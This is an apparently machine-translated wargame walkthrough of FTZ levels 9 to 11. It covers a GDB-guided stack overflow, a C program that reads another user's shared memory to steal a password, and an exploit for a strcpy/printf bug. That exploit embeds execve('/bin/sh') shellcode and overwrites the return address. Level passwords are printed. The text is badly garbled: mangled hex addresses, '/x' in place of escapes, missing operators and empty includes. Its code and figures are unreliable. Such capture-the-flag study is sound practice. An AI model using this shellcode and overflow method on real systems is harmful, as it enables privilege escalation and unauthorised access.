One pass by BHM

It can be seen that we can turn the data in 0xBffFFFFFFFFFFFFFFFFFFFFfffffFFFFFFFFFFFFFFFFFFFFFFFFFFffffFffFFFFFFFFFFFFFFFFFFFFffFfffFFFFFFFFFFFFFE

So how do you make the data in the 0xBFFFFFF880 become Go?

Start the dynamic analysis section:

Set breakpoints in 0x08048454 and 0x08048465, and run

(GDB) B * 0x08048454

Breakpoint 1 at 0x8048454: File Level9.c, line 11.

(GDB) B * 0x08048465

Breakpoint 2 at 0x8048465: File Level9.c, line 13.

(GDB) R

(GDB) R

Starting Program: /Home/bhm/myprogarm/test/f.t.z/level9

IT can be overflow: aaaaaaaaa // can enter it.

Breakpoint 1, 0x08048454 in main () at level9.c: 11

11 FGETS (BUF, 40, stdin);

Then check the contents of the following registers

(GDB) I REG

................................

Because ESP is the top of the stack, check the situation of the stack area

(GDB) X / 32 $ ESP-16

.................................

Can be found from the system start 0xbffff870 stack area for storing a string, the string being from here because

0x61616161.

Calculate 0xBffFFFF880 - 0xBffff870 = 0x10 = 16

That is to say, enter the string "GO" after entering 16 strings "a", you can verify it through Test.

Try a try * ^ * ^ *

[bhm @ b f.t.z] $ ./level9

IT CAN Be overflow: Aaaaaaaaaaaaaaago

Good Skill!

[bhm @ b f.t.z] $ ps

PID TTY TIME CMD

2787 PTS / 0 00:00:00 Bash

2818 PTS / 0 00:00:18 Fcitx

14279 PTS / 0 00:00:00 Level9

14280 PTS / 0 00:00:00 Bash

14310 PTS / 0 00:00:00 PS

[bhm @ b f.t.z] $

Because if the BASH is not seen in this machine, you will take a closer look at the PID 14280 process.

Get the shell ^ _ *

The resulting password is "Interesting to Hack!"

*********************************************************** **********************************

************************* Level10 ****************************** ******************

Continue to continue haha

Login: Level10

PASSWORD:

Last login: Tue Apr 20 14:24:21 from 220.122.59.34

[Level10 @ ftz level10] $ more hint

Now there are two users who are chatting with chat room. This chat room uses shared memory, the key_t value is

7530, the dialogue uses the variable name to text. Use this to hear two people's conversations and get the password of the Level11

It seems that this test is programming, but it is a bit simple:

Check out the function of sharing memory;

2. Discover the SHMGET and SHMAT functions can be used

3. Use the manual with your own system to view the specific usage method (you can view the INFO function name)

Then write the program:

#include

#include

Int main (void)

{

Int shmid;

Char * memptr;

IF ((shmid = shmget ((Key_T) 7530, 512, IPC_CREAT | 0666)) <0)

{

Printf ("Shmget () Function Error./N");

Exit (1);

}

IF ((Memptr = shmat (shmid, 0, 0)) == -1)

{

Printf ("Shmat () Function Error./N");

Exit (1);

}

Printf ("% S / N", Memptr);

Return 0;

}

Compile and run:

[Level10 @ ftz tmp] $ ./a.out

Mengmeng: What is the password of Level11?

GUTA: Yes! @ # $?

Mengmeng and GUTA are two system administrators: p password is very complicated, walk ~~

*********************************************************** **********************************

********************************************************** ****************

Login: Level11

PASSWORD:

Last Login: Wed Apr 21 00:11:07 from 220.73.26.23

[Level11 @ ftz level11] $ more hint

#include

#include

Int main (int Argc, char * argv [])

{

Char Str [256];

SetREUID (3092, 3092);

STRCPY (STR, Argv [1]);

Printf (STR);

}

[Level11 @ ftz level11] $

Don't think, start overflow SIGH

I use a technology introduced by OYXIN, and the specific article shows it.

http://www.xfocus.net/articles/200305/531.html

So I don't waste your mouth.

Post my source code, basically nothing to do with Oyxin code, because the overflow program has templateism.

[bhm @ b f.t.z] $ more attcak11.c

#include

#include

#include

#define bufsize 264 // The system is the number of bytes assigned to the vulnerability program

Char shell [] = "/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68"

"/ x68 / x2f / x62 / x69 / x6e / x89 / xe3 / x89"

"/ x64 / x24 / x0c / x89 / x44 / x24 / x10 / x8d"

"/ X4C / X24 / X0C / X8B / X54 / X24 / X08 / XB0"

"/ x0b / xcd / x80";

Int main (void)

{

Char buf [buffsize 12];

Char * prog [] = {"../attackme", buf, null}; // bug program path

Char * env [] = {"Home = / home / level11 / TMP", shell, null}; // overflower PWD

Unsigned long Ret = 0xc0000000 - SIZEOF (VOID *) - STRLEN (PROG) - STRLEN (Shell) - 0x02;

MEMSET (BUF, 0x41, SIZEOF (BUF));

Memcpy (BUF BUFSIZE 4, (Char *) & Ret, 4);

BUF [buffsize 8] = 0x00;

Execve (PROG [0], PROG, ENV);

Return 0;

}

[bhm @ b f.t.z] $

[Level11 @ ftz tmp] $ gdb ../attackme -q

(GDB) disass main

Dump of assembler code for function main:

0x08048470